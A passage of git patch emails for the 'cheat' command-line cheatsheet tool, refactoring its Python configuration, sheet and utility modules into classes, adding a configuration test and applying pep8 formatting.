if not os.access(default_sheets_dir, os.W_OK): + Utils.die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not writable.') + + # return the default dir + return default_sheets_dir -def list(): - """ Lists the available cheatsheets """ - sheet_list = '' - pad_length = max([len(x) for x in get().keys()]) + 4 - for sheet in sorted(get().items()): - sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n" - return sheet_list + def get(self): + """ Assembles a dictionary of cheatsheets as name => file-path """ + cheats = {} + + # otherwise, scan the filesystem + for cheat_dir in reversed(self.paths()): + cheats.update( + dict([ + (cheat, os.path.join(cheat_dir, cheat)) + for cheat in os.listdir(cheat_dir) + if not cheat.startswith('.') + and not cheat.startswith('__') + ]) + ) + + return cheats -def search(term): - """ Searches all cheatsheets for the specified term """ - result = '' - lowered_term = term.lower() + def paths(self): + """ Assembles a list of directories containing cheatsheets """ + sheet_paths = [ + self.default_path(), + '/usr/share/cheat', + ] - for cheatsheet in sorted(get().items()): - match = '' - for line in open(cheatsheet[1]): - if term in line: - match += ' ' + highlight(term, line) + # merge the CHEATPATH paths into the sheet_paths + if self.cheatpath: + for path in self.cheatpath.split(os.pathsep): + if os.path.isdir(path): + sheet_paths.append(path) - if match != '': - result += cheatsheet[0] + ":\n" + match + "\n" + if not sheet_paths: + Utils.die('The DEFAULT_CHEAT_DIR dir does not exist or the CHEATPATH is not set.') - return result + return sheet_paths + + + def list(self): + """ Lists the available cheatsheets """ + sheet_list = '' + pad_length = max([len(x) for x in self.get().keys()]) + 4 + for sheet in sorted(self.get().items()): + sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n" + return sheet_list + + + def search(self,term): + """ Searches all cheatsheets for the specified term """ + result = '' + + for cheatsheet in sorted(self.get().items()): + match = '' + for line in open(cheatsheet[1]): + if term in line: + match += ' ' + line + + if match != '': + result += cheatsheet[0] + ":\n" + match + "\n" + + return result diff --git a/cheat/utils.py b/cheat/utils.py index c4202ec..17e4ba8 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -3,94 +3,99 @@ import os import subprocess import sys -from cheat.configuration import Configuration - -def highlight(needle, haystack): - """ Highlights a search term matched within a line """ - - # if a highlight color is not configured, exit early - if not 'CHEAT_HIGHLIGHT' in os.environ: - return haystack - - # otherwise, attempt to import the termcolor library - try: - from termcolor import colored - - # if the import fails, return uncolored text - except ImportError: - return haystack - - # if the import succeeds, colorize the needle in haystack - return haystack.replace(needle, colored(needle, os.environ.get('CHEAT_HIGHLIGHT'))); +class Utils: -def colorize(sheet_content): - """ Colorizes cheatsheet content if so configured """ + def __init__(self,cheatcolors,editor_executable): + self.displaycolors = cheatcolors + self.editor_executable = editor_executable - # only colorize if configured to do so, and if stdout is a tty - if not Configuration().get_cheatcolors() or not sys.stdout.isatty(): - return sheet_content - # don't attempt to colorize an empty cheatsheet - if not sheet_content.strip(): - return "" + def highlight(self, needle, haystack): + """ Highlights a search term matched within a line """ - # otherwise, attempt to import the pygments library - try: - from pygments import highlight - from pygments.lexers import get_lexer_by_name - from pygments.formatters import TerminalFormatter + # if a highlight color is not configured, exit early + if not 'CHEAT_HIGHLIGHT' in os.environ: + return haystack - # if the import fails, return uncolored text - except ImportError: - return sheet_content - - # otherwise, attempt to colorize - first_line = sheet_content.splitlines()[0] - lexer = get_lexer_by_name('bash') - - # apply syntax-highlighting if the first line is a code-fence - if first_line.startswith('```'): - sheet_content = '\n'.join(sheet_content.split('\n')[1:-2]) + # otherwise, attempt to import the termcolor library try: - lexer = get_lexer_by_name(first_line[3:]) - except Exception: - pass + from termcolor import colored - return highlight(sheet_content, lexer, TerminalFormatter()) + # if the import fails, return uncolored text + except ImportError: + return haystack + + # if the import succeeds, colorize the needle in haystack + return haystack.replace(needle, colored(needle, os.environ.get('CHEAT_HIGHLIGHT'))) -def die(message): - """ Prints a message to stderr and then terminates """ - warn(message) - exit(1) + def colorize(self,sheet_content): + """ Colorizes cheatsheet content if so configured """ + + # only colorize if configured to do so, and if stdout is a tty + if not self.displaycolors or not sys.stdout.isatty(): + return sheet_content + + # don't attempt to colorize an empty cheatsheet + if not sheet_content.strip(): + return "" + + # otherwise, attempt to import the pygments library + try: + from pygments import highlight + from pygments.lexers import get_lexer_by_name + from pygments.formatters import TerminalFormatter + + # if the import fails, return uncolored text + except ImportError: + return sheet_content + + # otherwise, attempt to colorize + first_line = sheet_content.splitlines()[0] + lexer = get_lexer_by_name('bash') + + # apply syntax-highlighting if the first line is a code-fence + if first_line.startswith('```'): + sheet_content = '\n'.join(sheet_content.split('\n')[1:-2]) + try: + lexer = get_lexer_by_name(first_line[3:]) + except Exception: + pass + + return highlight(sheet_content, lexer, TerminalFormatter()) -def editor(): - """ Determines the user's preferred editor """ - - # determine which editor to use - editor = Configuration().get_editor() - - # assert that the editor is set - if (not editor): - die( - 'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' - 'variable or setting in order to create/edit a cheatsheet.' - ) - - return editor + @staticmethod + def die(message): + """ Prints a message to stderr and then terminates """ + Utils.warn(message) + exit(1) -def open_with_editor(filepath): - """ Open `filepath` using the EDITOR specified by the environment variables """ - editor_cmd = editor().split() - try: - subprocess.call(editor_cmd + [filepath]) - except OSError: - die('Could not launch ' + editor()) + def editor(self): + """ Determines the user's preferred editor """ + + # assert that the editor is set + if (not self.editor_executable): + Utils.die( + 'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' + 'variable or setting in order to create/edit a cheatsheet.' + ) + + return self.editor_executable -def warn(message): - """ Prints a message to stderr """ - print((message), file=sys.stderr) + def open_with_editor(self,filepath): + """ Open `filepath` using the EDITOR specified by the environment variables """ + editor_cmd = self.editor().split() + try: + subprocess.call(editor_cmd + [filepath]) + except OSError: + Utils.die('Could not launch ' + self.editor()) + + + @staticmethod + def warn(message): + """ Prints a message to stderr """ + print((message), file=sys.stderr) From 879a58b7215630f35d977bca3777a4383c2b1159 Mon Sep 17 00:00:00 2001 From: Tomas Korbar Date: Tue, 21 Aug 2018 15:40:47 +0200 Subject: [PATCH 61/97] Read env vars for global and local config path - allows to change these paths for testing purposes and also gives user option to change his config paths --- cheat/configuration.py | 34 ++++++++++++++++++++++++---------- 1 file changed, 24 insertions(+), 10 deletions(-) diff --git a/cheat/configuration.py b/cheat/configuration.py index e89b849..edbe4d7 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -2,9 +2,13 @@ import os from cheat.utils import Utils import json + class Configuration: + def __init__(self): + self._get_global_conf_file_path() + self._get_local_conf_file_path() self._saved_configuration = self._get_configuration() @@ -12,15 +16,15 @@ class Configuration: # get options from config files and environment vairables merged_config = {} - try: - merged_config.update(self._read_configuration_file('/etc/cheat')) - except Exception: - Utils.warn('error while parsing global configuration') + try: + merged_config.update(self._read_configuration_file(self.glob_config_path)) + except Exception as e: + Utils.warn('error while parsing global configuration Reason: ' + e.message) try: - merged_config.update(self._read_configuration_file(os.path.expanduser(os.path.join('~','.config','cheat','cheat')))) - except Exception: - Utils.warn('error while parsing user configuration') + merged_config.update(self._read_configuration_file(self.local_config_path)) + except Exception as e: + Utils.warn('error while parsing user configuration Reason: ' + e.message) merged_config.update(self._read_env_vars_config()) @@ -51,7 +55,7 @@ class Configuration: for k in keys: self._read_env_var(read_config,k) - + return read_config @@ -60,6 +64,16 @@ class Configuration: current_config[key] = os.environ.get(key) + def _get_global_conf_file_path(self): + self.glob_config_path = os.environ.get('CHEAT_GLOBAL_CONF_PATH') \ + or '/etc/cheat' + + + def _get_local_conf_file_path(self): + self.local_config_path = os.environ.get('CHEAT_LOCAL_CONF_PATH') \ + or os.path.expanduser('~/.config/cheat/cheat') + + def get_default_cheat_dir(self): return self._saved_configuration.get('DEFAULT_CHEAT_DIR') @@ -70,7 +84,7 @@ class Configuration: def get_cheatcolors(self): return self._saved_configuration.get('CHEATCOLORS') - + def get_editor(self): - return self._saved_configuration.get('EDITOR') \ No newline at end of file + return self._saved_configuration.get('EDITOR') From 3a4c2a887db0d97d7827d4a6fc1271a8b798b822 Mon Sep 17 00:00:00 2001 From: Tomas Korbar Date: Tue, 21 Aug 2018 15:42:52 +0200 Subject: [PATCH 62/97] Add ConfigurationTestCase - tests prove descending hiearchy of config system - env vars, local config file, global config file --- tests/test_configuration.py | 86 +++++++++++++++++++++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 tests/test_configuration.py diff --git a/tests/test_configuration.py b/tests/test_configuration.py new file mode 100644 index 0000000..187ef16 --- /dev/null +++ b/tests/test_configuration.py @@ -0,0 +1,86 @@ +import unittest2 +import os +import shutil +from cheat.configuration import Configuration + + +def _set_loc_conf(key, value): + _path = os.path.dirname(os.path.abspath(__file__)) + '/home/.config/cheat/cheat' + if value == None: + os.remove(_path) + else: + if not os.path.exists(os.path.dirname(_path)): + os.makedirs(os.path.dirname(_path)) + f = open(_path,"w+") + f.write('{"'+ key +'":"'+ value +'"}') + f.close() + + +def _set_glob_conf(key, value): + _path = os.path.dirname(os.path.abspath(__file__))+ "/etc/cheat" + if value == None: + os.remove(_path) + else: + if not os.path.exists(os.path.dirname(_path)): + os.mkdir(os.path.dirname(_path)) + f = open(_path,"w+") + f.write('{"'+ key +'":"'+ value +'"}' ) + f.close() + + +def _set_env_var(key, value): + if value == None: + del os.environ[key] + else: + os.environ[key] = value + + +def _configuration_key_test(TestConfiguration, key,values, conf_get_method): + for glob_conf in values: + _set_glob_conf(key,glob_conf) + for loc_conf in values: + _set_loc_conf(key,loc_conf) + for env_conf in values: + _set_env_var(key,env_conf) + if env_conf: + TestConfiguration.assertEqual(conf_get_method(Configuration()),env_conf) + elif loc_conf: + TestConfiguration.assertEqual(conf_get_method(Configuration()),loc_conf) + elif glob_conf: + TestConfiguration.assertEqual(conf_get_method(Configuration()),glob_conf) + else: + TestConfiguration.assertEqual(conf_get_method(Configuration()),None) + + +class ConfigurationTestCase(unittest2.TestCase): + + + def setUp(self): + os.environ['CHEAT_GLOBAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \ + + '/etc/cheat' + os.environ['CHEAT_LOCAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \ + + '/home/.config/cheat/cheat' + + + def test_get_editor(self): + _configuration_key_test(self,"EDITOR",["nano","vim","gedit",None], + Configuration.get_editor) + + + def test_get_cheatcolors(self): + _configuration_key_test(self,"CHEATCOLORS",["true",None], + Configuration.get_cheatcolors) + + + def test_get_cheatpath(self): + _configuration_key_test(self,"CHEATPATH",["/etc/myglobalcheats", + "/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_cheatpath) + + + def test_get_defaultcheatdir(self): + _configuration_key_test(self,"DEFAULT_CHEAT_DIR",["/etc/myglobalcheats", + "/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_default_cheat_dir) + + def tearDown(self): + shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/etc') + shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/home') From 5eec6bf040a205b4d175316a1347c74967da4558 Mon Sep 17 00:00:00 2001 From: Tomas Korbar Date: Tue, 15 Jan 2019 19:13:30 +0100 Subject: [PATCH 63/97] Improve handling of settings Constructors of classes which need direct access to configuration now take Config class instance as parameter which will give them better maintainability in the future CHEAT_HIGHLIGHT has been added to Configuration class --- bin/cheat | 6 +++--- cheat/configuration.py | 12 +++++++++++- cheat/sheet.py | 25 ++++++++++++------------- cheat/sheets.py | 17 ++++++++--------- cheat/utils.py | 18 +++++++++--------- 5 files changed, 43 insertions(+), 35 deletions(-) diff --git a/bin/cheat b/bin/cheat index 22b5b28..2c15439 100755 --- a/bin/cheat +++ b/bin/cheat @@ -61,9 +61,9 @@ if __name__ == '__main__': options = docopt(__doc__, version='cheat 2.3.1') config = Configuration() - sheets = Sheets(config.get_default_cheat_dir(),config.get_cheatpath()) - sheet = Sheet(config.get_default_cheat_dir(),config.get_cheatpath(),config.get_editor()) - utils = Utils(config.get_cheatcolors(),config.get_editor()) + sheets = Sheets(config) + utils = Utils(config) + sheet = Sheet(sheets, utils) # list directories if options['--directories']: diff --git a/cheat/configuration.py b/cheat/configuration.py index edbe4d7..5062b82 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -28,6 +28,8 @@ class Configuration: merged_config.update(self._read_env_vars_config()) + + return merged_config @@ -51,7 +53,12 @@ class Configuration: if (os.environ.get('VISUAL')): read_config['EDITOR'] = os.environ.get('VISUAL') - keys = ['DEFAULT_CHEAT_DIR','CHEATPATH','CHEATCOLORS','EDITOR'] + keys = ['DEFAULT_CHEAT_DIR', + 'CHEATPATH', + 'CHEATCOLORS', + 'EDITOR', + 'CHEAT_HIGHLIGHT' + ] for k in keys: self._read_env_var(read_config,k) @@ -88,3 +95,6 @@ class Configuration: def get_editor(self): return self._saved_configuration.get('EDITOR') + + def get_highlight(self): + return self._saved_configuration.get('CHEAT_HIGHLIGHT') diff --git a/cheat/sheet.py b/cheat/sheet.py index c9a0bb0..df77596 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -1,16 +1,15 @@ import os import shutil -from cheat.sheets import Sheets from cheat.utils import Utils class Sheet: - def __init__(self,default_cheat_dir,cheatpath,editor_exec): - self.sheets_instance = Sheets(default_cheat_dir,cheatpath) - self.utils_instance = Utils(None,editor_exec) + def __init__(self, sheets, utils): + self._sheets = sheets + self._utils = utils def copy(self,current_sheet_path, new_sheet_path): @@ -36,7 +35,7 @@ class Sheet: # if the cheatsheet exists but not in the default_path, copy it to the # default path before editing elif self.exists(sheet) and not self.exists_in_default_path(sheet): - self.copy(self.path(sheet), os.path.join(self.sheets_instance.default_path(), sheet)) + self.copy(self.path(sheet), os.path.join(self._sheets.default_path(), sheet)) self.edit(sheet) # if it exists and is in the default path, then just open it @@ -46,34 +45,34 @@ class Sheet: def create(self,sheet): """ Creates a cheatsheet """ - new_sheet_path = os.path.join(self.sheets_instance.default_path(), sheet) - self.utils_instance.open_with_editor(new_sheet_path) + new_sheet_path = os.path.join(self._sheets.default_path(), sheet) + self._utils.open_with_editor(new_sheet_path) def edit(self,sheet): """ Opens a cheatsheet for editing """ - self.utils_instance.open_with_editor(self.path(sheet)) + self._utils.open_with_editor(self.path(sheet)) def exists(self,sheet): """ Predicate that returns true if the sheet exists """ - return sheet in self.sheets_instance.get() and os.access(self.path(sheet), os.R_OK) + return sheet in self._sheets.get() and os.access(self.path(sheet), os.R_OK) def exists_in_default_path(self,sheet): """ Predicate that returns true if the sheet exists in default_path""" - default_path_sheet = os.path.join(self.sheets_instance.default_path(), sheet) - return sheet in self.sheets_instance.get() and os.access(default_path_sheet, os.R_OK) + default_path_sheet = os.path.join(self._sheets.default_path(), sheet) + return sheet in self._sheets.get() and os.access(default_path_sheet, os.R_OK) def is_writable(self,sheet): """ Predicate that returns true if the sheet is writeable """ - return sheet in self.sheets_instance.get() and os.access(self.path(sheet), os.W_OK) + return sheet in self._sheets.get() and os.access(self.path(sheet), os.W_OK) def path(self,sheet): """ Returns a sheet's filesystem path """ - return self.sheets_instance.get()[sheet] + return self._sheets.get()[sheet] def read(self,sheet): diff --git a/cheat/sheets.py b/cheat/sheets.py index 107bad3..49c4b10 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -1,21 +1,20 @@ import os -from cheat.configuration import Configuration from cheat.utils import Utils class Sheets: - def __init__(self,default_cheat_dir,cheatpath): - self.default_cheat_dir = default_cheat_dir - self.cheatpath = cheatpath - + def __init__(self, config): + self._default_cheat_dir = config.get_default_cheat_dir() + self._cheatpath = config.get_cheatpath() + self._utils = Utils(config) def default_path(self): """ Returns the default cheatsheet path """ # determine the default cheatsheet dir - default_sheets_dir = self.default_cheat_dir or os.path.join('~', '.cheat') + default_sheets_dir = self._default_cheat_dir or os.path.join('~', '.cheat') default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir)) # create the DEFAULT_CHEAT_DIR if it does not exist @@ -64,8 +63,8 @@ class Sheets: ] # merge the CHEATPATH paths into the sheet_paths - if self.cheatpath: - for path in self.cheatpath.split(os.pathsep): + if self._cheatpath: + for path in self._cheatpath.split(os.pathsep): if os.path.isdir(path): sheet_paths.append(path) @@ -92,7 +91,7 @@ class Sheets: match = '' for line in open(cheatsheet[1]): if term in line: - match += ' ' + line + match += ' ' + self._utils.highlight(term, line) if match != '': result += cheatsheet[0] + ":\n" + match + "\n" diff --git a/cheat/utils.py b/cheat/utils.py index 17e4ba8..870c570 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -6,16 +6,16 @@ import sys class Utils: - def __init__(self,cheatcolors,editor_executable): - self.displaycolors = cheatcolors - self.editor_executable = editor_executable - + def __init__(self,config): + self._displaycolors = config.get_cheatcolors() + self._editor_executable = config.get_editor() + self._highlight_color = config.get_highlight() def highlight(self, needle, haystack): """ Highlights a search term matched within a line """ # if a highlight color is not configured, exit early - if not 'CHEAT_HIGHLIGHT' in os.environ: + if not self._highlight_color: return haystack # otherwise, attempt to import the termcolor library @@ -27,14 +27,14 @@ class Utils: return haystack # if the import succeeds, colorize the needle in haystack - return haystack.replace(needle, colored(needle, os.environ.get('CHEAT_HIGHLIGHT'))) + return haystack.replace(needle, colored(needle, self._highlight_color)) def colorize(self,sheet_content): """ Colorizes cheatsheet content if so configured """ # only colorize if configured to do so, and if stdout is a tty - if not self.displaycolors or not sys.stdout.isatty(): + if not self._displaycolors or not sys.stdout.isatty(): return sheet_content # don't attempt to colorize an empty cheatsheet @@ -77,13 +77,13 @@ class Utils: """ Determines the user's preferred editor """ # assert that the editor is set - if (not self.editor_executable): + if (not self._editor_executable): Utils.die( 'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment ' 'variable or setting in order to create/edit a cheatsheet.' ) - return self.editor_executable + return self._editor_executable def open_with_editor(self,filepath): From a2e028fd1923a19e5aa6e7031790bb04df431843 Mon Sep 17 00:00:00 2001 From: Tomas Korbar Date: Tue, 15 Jan 2019 19:18:15 +0100 Subject: [PATCH 64/97] Move validation of CHEAT_HIGHLIGHT value to Configuration class Method _check_configuration should be used for validating all bad values from now on --- bin/cheat | 10 ---------- cheat/configuration.py | 15 ++++++++++++++- 2 files changed, 14 insertions(+), 11 deletions(-) diff --git a/bin/cheat b/bin/cheat index 2c15439..a95d592 100755 --- a/bin/cheat +++ b/bin/cheat @@ -46,16 +46,6 @@ import os if __name__ == '__main__': - # validate CHEAT_HIGHLIGHT values if set - colors = [ - 'grey' , 'red' , 'green' , 'yellow' , - 'blue' , 'magenta' , 'cyan' , 'white' , - ] - if ( - os.environ.get('CHEAT_HIGHLIGHT') and - os.environ.get('CHEAT_HIGHLIGHT') not in colors - ): - die("%s %s" %('CHEAT_HIGHLIGHT must be one of:', colors)) # parse the command-line options options = docopt(__doc__, version='cheat 2.3.1') diff --git a/cheat/configuration.py b/cheat/configuration.py index 5062b82..cf3e14e 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -28,7 +28,7 @@ class Configuration: merged_config.update(self._read_env_vars_config()) - + self._check_configuration(merged_config) return merged_config @@ -65,6 +65,19 @@ class Configuration: return read_config + def _check_configuration(self, config): + """ Check values in config and warn user or die """ + + # validate CHEAT_HIGHLIGHT values if set + colors = [ + 'grey' , 'red' , 'green' , 'yellow' , + 'blue' , 'magenta' , 'cyan' , 'white' , + ] + if ( + config.get('CHEAT_HIGHLIGHT') and + config.get('CHEAT_HIGHLIGHT') not in colors + ): + Utils.die("%s %s" %('CHEAT_HIGHLIGHT must be one of:', colors)) def _read_env_var(self,current_config,key): if (os.environ.get(key)): From 4d19505b7941b06f73e1c490e4bea9541f3795ba Mon Sep 17 00:00:00 2001 From: Tomas Korbar Date: Tue, 15 Jan 2019 19:38:24 +0100 Subject: [PATCH 65/97] Conform code to pep8 --- bin/cheat | 1 - cheat/configuration.py | 49 +++++++++++++++++++++--------------------- cheat/sheet.py | 44 ++++++++++++++++--------------------- cheat/sheets.py | 25 +++++++++++---------- cheat/utils.py | 17 ++++++--------- 5 files changed, 63 insertions(+), 73 deletions(-) diff --git a/bin/cheat b/bin/cheat index a95d592..49e9c03 100755 --- a/bin/cheat +++ b/bin/cheat @@ -46,7 +46,6 @@ import os if __name__ == '__main__': - # parse the command-line options options = docopt(__doc__, version='cheat 2.3.1') diff --git a/cheat/configuration.py b/cheat/configuration.py index cf3e14e..e0e95da 100644 --- a/cheat/configuration.py +++ b/cheat/configuration.py @@ -5,26 +5,32 @@ import json class Configuration: - def __init__(self): self._get_global_conf_file_path() self._get_local_conf_file_path() self._saved_configuration = self._get_configuration() - def _get_configuration(self): # get options from config files and environment vairables merged_config = {} try: - merged_config.update(self._read_configuration_file(self.glob_config_path)) + merged_config.update( + self._read_configuration_file(self.glob_config_path) + ) except Exception as e: - Utils.warn('error while parsing global configuration Reason: ' + e.message) + Utils.warn('error while parsing global configuration Reason: ' + + e.message + ) try: - merged_config.update(self._read_configuration_file(self.local_config_path)) + merged_config.update( + self._read_configuration_file(self.local_config_path) + ) except Exception as e: - Utils.warn('error while parsing user configuration Reason: ' + e.message) + Utils.warn('error while parsing user configuration Reason: ' + + e.message + ) merged_config.update(self._read_env_vars_config()) @@ -32,8 +38,7 @@ class Configuration: return merged_config - - def _read_configuration_file(self,path): + def _read_configuration_file(self, path): # Reads configuration file and returns list of set variables read_config = {} if (os.path.isfile(path)): @@ -41,7 +46,6 @@ class Configuration: read_config.update(json.load(config_file)) return read_config - def _read_env_vars_config(self): read_config = {} @@ -58,10 +62,10 @@ class Configuration: 'CHEATCOLORS', 'EDITOR', 'CHEAT_HIGHLIGHT' - ] + ] for k in keys: - self._read_env_var(read_config,k) + self._read_env_var(read_config, k) return read_config @@ -70,42 +74,37 @@ class Configuration: # validate CHEAT_HIGHLIGHT values if set colors = [ - 'grey' , 'red' , 'green' , 'yellow' , - 'blue' , 'magenta' , 'cyan' , 'white' , + 'grey', 'red', 'green', 'yellow', + 'blue', 'magenta', 'cyan', 'white' ] if ( config.get('CHEAT_HIGHLIGHT') and config.get('CHEAT_HIGHLIGHT') not in colors ): - Utils.die("%s %s" %('CHEAT_HIGHLIGHT must be one of:', colors)) + Utils.die("%s %s" % ('CHEAT_HIGHLIGHT must be one of:', colors)) - def _read_env_var(self,current_config,key): + def _read_env_var(self, current_config, key): if (os.environ.get(key)): current_config[key] = os.environ.get(key) - def _get_global_conf_file_path(self): - self.glob_config_path = os.environ.get('CHEAT_GLOBAL_CONF_PATH') \ - or '/etc/cheat' - + self.glob_config_path = (os.environ.get('CHEAT_GLOBAL_CONF_PATH') + or '/etc/cheat') def _get_local_conf_file_path(self): - self.local_config_path = os.environ.get('CHEAT_LOCAL_CONF_PATH') \ - or os.path.expanduser('~/.config/cheat/cheat') - + path = (os.environ.get('CHEAT_LOCAL_CONF_PATH') + or os.path.expanduser('~/.config/cheat/cheat')) + self.local_config_path = path def get_default_cheat_dir(self): return self._saved_configuration.get('DEFAULT_CHEAT_DIR') - def get_cheatpath(self): return self._saved_configuration.get('CHEATPATH') - def get_cheatcolors(self): return self._saved_configuration.get('CHEATCOLORS') - def get_editor(self): return self._saved_configuration.get('EDITOR') diff --git a/cheat/sheet.py b/cheat/sheet.py index df77596..5b27f21 100644 --- a/cheat/sheet.py +++ b/cheat/sheet.py @@ -6,26 +6,23 @@ from cheat.utils import Utils class Sheet: - def __init__(self, sheets, utils): self._sheets = sheets self._utils = utils - - def copy(self,current_sheet_path, new_sheet_path): + def copy(self, current_sheet_path, new_sheet_path): """ Copies a sheet to a new path """ # attempt to copy the sheet to DEFAULT_CHEAT_DIR try: shutil.copy(current_sheet_path, new_sheet_path) - # fail gracefully if the cheatsheet cannot be copied. This can happen if - # DEFAULT_CHEAT_DIR does not exist + # fail gracefully if the cheatsheet cannot be copied. This can happen + # if DEFAULT_CHEAT_DIR does not exist except IOError: Utils.die('Could not copy cheatsheet for editing.') - - def create_or_edit(self,sheet): + def create_or_edit(self, sheet): """ Creates or edits a cheatsheet """ # if the cheatsheet does not exist @@ -35,47 +32,44 @@ class Sheet: # if the cheatsheet exists but not in the default_path, copy it to the # default path before editing elif self.exists(sheet) and not self.exists_in_default_path(sheet): - self.copy(self.path(sheet), os.path.join(self._sheets.default_path(), sheet)) + self.copy(self.path(sheet), + os.path.join(self._sheets.default_path(), sheet)) self.edit(sheet) # if it exists and is in the default path, then just open it else: self.edit(sheet) - - def create(self,sheet): + def create(self, sheet): """ Creates a cheatsheet """ new_sheet_path = os.path.join(self._sheets.default_path(), sheet) self._utils.open_with_editor(new_sheet_path) - - def edit(self,sheet): + def edit(self, sheet): """ Opens a cheatsheet for editing """ self._utils.open_with_editor(self.path(sheet)) - - def exists(self,sheet): + def exists(self, sheet): """ Predicate that returns true if the sheet exists """ - return sheet in self._sheets.get() and os.access(self.path(sheet), os.R_OK) + return (sheet in self._sheets.get() and + os.access(self.path(sheet), os.R_OK)) - - def exists_in_default_path(self,sheet): + def exists_in_default_path(self, sheet): """ Predicate that returns true if the sheet exists in default_path""" default_path_sheet = os.path.join(self._sheets.default_path(), sheet) - return sheet in self._sheets.get() and os.access(default_path_sheet, os.R_OK) + return (sheet in self._sheets.get() and + os.access(default_path_sheet, os.R_OK)) - - def is_writable(self,sheet): + def is_writable(self, sheet): """ Predicate that returns true if the sheet is writeable """ - return sheet in self._sheets.get() and os.access(self.path(sheet), os.W_OK) + return (sheet in self._sheets.get() and + os.access(self.path(sheet), os.W_OK)) - - def path(self,sheet): + def path(self, sheet): """ Returns a sheet's filesystem path """ return self._sheets.get()[sheet] - - def read(self,sheet): + def read(self, sheet): """ Returns the contents of the cheatsheet as a String """ if not self.exists(sheet): Utils.die('No cheatsheet found for ' + sheet) diff --git a/cheat/sheets.py b/cheat/sheets.py index 49c4b10..6f772d2 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -2,8 +2,8 @@ import os from cheat.utils import Utils -class Sheets: +class Sheets: def __init__(self, config): self._default_cheat_dir = config.get_default_cheat_dir() @@ -14,8 +14,10 @@ class Sheets: """ Returns the default cheatsheet path """ # determine the default cheatsheet dir - default_sheets_dir = self._default_cheat_dir or os.path.join('~', '.cheat') - default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir)) + default_sheets_dir = (self._default_cheat_dir or + os.path.join('~', '.cheat')) + default_sheets_dir = os.path.expanduser( + os.path.expandvars(default_sheets_dir)) # create the DEFAULT_CHEAT_DIR if it does not exist if not os.path.isdir(default_sheets_dir): @@ -29,14 +31,17 @@ class Sheets: # assert that the DEFAULT_CHEAT_DIR is readable and writable if not os.access(default_sheets_dir, os.R_OK): - Utils.die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not readable.') + Utils.die('The DEFAULT_CHEAT_DIR (' + + default_sheets_dir + + ') is not readable.') if not os.access(default_sheets_dir, os.W_OK): - Utils.die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not writable.') + Utils.die('The DEFAULT_CHEAT_DIR (' + + default_sheets_dir + + ') is not writable.') # return the default dir return default_sheets_dir - def get(self): """ Assembles a dictionary of cheatsheets as name => file-path """ cheats = {} @@ -54,7 +59,6 @@ class Sheets: return cheats - def paths(self): """ Assembles a list of directories containing cheatsheets """ sheet_paths = [ @@ -69,11 +73,11 @@ class Sheets: sheet_paths.append(path) if not sheet_paths: - Utils.die('The DEFAULT_CHEAT_DIR dir does not exist or the CHEATPATH is not set.') + Utils.die('The DEFAULT_CHEAT_DIR dir does not exist ' + + 'or the CHEATPATH is not set.') return sheet_paths - def list(self): """ Lists the available cheatsheets """ sheet_list = '' @@ -82,8 +86,7 @@ class Sheets: sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n" return sheet_list - - def search(self,term): + def search(self, term): """ Searches all cheatsheets for the specified term """ result = '' diff --git a/cheat/utils.py b/cheat/utils.py index 870c570..3a5b83a 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -3,10 +3,10 @@ import os import subprocess import sys + class Utils: - - def __init__(self,config): + def __init__(self, config): self._displaycolors = config.get_cheatcolors() self._editor_executable = config.get_editor() self._highlight_color = config.get_highlight() @@ -29,8 +29,7 @@ class Utils: # if the import succeeds, colorize the needle in haystack return haystack.replace(needle, colored(needle, self._highlight_color)) - - def colorize(self,sheet_content): + def colorize(self, sheet_content): """ Colorizes cheatsheet content if so configured """ # only colorize if configured to do so, and if stdout is a tty @@ -53,7 +52,7 @@ class Utils: # otherwise, attempt to colorize first_line = sheet_content.splitlines()[0] - lexer = get_lexer_by_name('bash') + lexer = get_lexer_by_name('bash') # apply syntax-highlighting if the first line is a code-fence if first_line.startswith('```'): @@ -65,14 +64,12 @@ class Utils: return highlight(sheet_content, lexer, TerminalFormatter()) - @staticmethod def die(message): """ Prints a message to stderr and then terminates """ Utils.warn(message) exit(1) - def editor(self): """ Determines the user's preferred editor """ @@ -85,16 +82,14 @@ class Utils: return self._editor_executable - - def open_with_editor(self,filepath): - """ Open `filepath` using the EDITOR specified by the environment variables """ + def open_with_editor(self, filepath): + """ Open `filepath` using the EDITOR specified by the env variables """ editor_cmd = self.editor().split() try: subprocess.call(editor_cmd + [filepath]) except OSError: Utils.die('Could not launch ' + self.editor()) - @staticmethod def warn(message): """ Prints a message to stderr """ From 8a8f30679d65fb9e06a7a5446ff0d24b973ea79b Mon Sep 17 00:00:00 2001 From: Tomas Korbar Date: Thu, 17 Jan 2019 17:10:01 +0100 Subject: [PATCH 66/97] Fix problems with CHEATCOLORS behaviour --- cheat/utils.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/cheat/utils.py b/cheat/utils.py index 3a5b83a..59d062e 100644 --- a/cheat/utils.py +++ b/cheat/utils.py @@ -33,7 +33,8 @@ class Utils: """ Colorizes cheatsheet content if so configured """ # only colorize if configured to do so, and if stdout is a 